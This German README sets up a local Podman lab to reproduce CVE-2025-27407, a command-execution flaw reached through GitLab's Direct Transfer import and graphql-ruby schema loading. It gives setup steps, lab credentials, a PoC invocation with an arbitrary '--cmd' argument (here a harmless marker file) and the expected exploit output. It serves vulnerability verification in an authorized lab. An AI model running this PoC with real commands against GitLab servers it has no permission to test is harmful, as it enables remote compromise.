CVE-2025-27407 GitLab-Podman-Labor

Minimales rein lokales Labor zum Nachweis, dass der GitLab-Direct-Transfer-HTTP-Pfad den verwundbaren graphql-ruby-Introspection-Schema-Loader erreicht. Das Labor betreibt einen einzelnen verwundbaren GitLab-CE-Container; das PoC-Skript startet seinen simulierten GitLab-Quellserver nur während der Tests prozessintern.

Führen Sie dies nur gegen Systeme aus, die Ihnen gehören oder für die Sie ausdrücklich autorisiert sind, Tests durchzuführen.

Dateien

Anforderungen

• Linux-Host mit podman
• curl
• Freie lokale Ports für GitLab und den simulierten PoC-Quellserver
• Ausreichend RAM/Speicherplatz für den GitLab-Omnibus-Container

Standardwerte:

Labor starten

Port 8080 ist die Standardeinstellung des Skripts. Falls etwas anderes diesen bereits verwendet, nutzen Sie 18080 wie hier gezeigt.

cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py

GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up

Öffnen Sie GitLab unter:

http://127.0.0.1:18080

Anmeldedaten:

root / Cve27407Password!

root ist nur der Standard-Laborbenutzer. Der PoC-Trigger benötigt kein Administratorkonto; jeder authentifizierte Benutzer, der in einem Ziel-Namespace erstellen/importieren kann, kann den verwundbaren Direct-Transfer-Pfad erreichen. Verwenden Sie --username und --password, um mit einem Nicht-Administrator zu testen.

PoC ausführen

MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"

./poc_host_port_cmd.py \
  --host 127.0.0.1 \
  --port 18080 \
  --listen-port 8001 \
  --wait-seconds 120 \
  --cmd "touch $MARKER"

MARKER="$MARKER" ./lab.sh verify

Erwartete Signale:

[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container

Optionen

Umgebungsüberschreibungen

Fehlerbehebung

• Falls 8080 belegt ist, verwenden Sie GITLAB_HTTP_PORT=18080 für ./lab.sh up.
• Falls das PoC seinen Quellport nicht binden kann, ändern Sie --listen-port auf einen ungenutzten Port.
• Falls die Marker-Verifizierung mit dem Hintergrund-Import-Worker kollidiert, erhöhen Sie --wait-seconds oder führen Sie MARKER="$MARKER" ./lab.sh verify erneut aus.
• Falls GitLab noch nicht bereit ist, führen Sie GITLAB_HTTP_PORT=18080 ./lab.sh wait erneut aus.
• Falls ein vorheriges Labor hängt, führen Sie ./lab.sh cleanup aus und starten Sie erneut.

Bereinigung

./lab.sh cleanup

Dies entfernt den GitLab-Container, alle alten Fake-Quellcontainer aus früheren Laborversionen und das Labornetzwerk. Heruntergeladene Podman-Images werden nicht entfernt.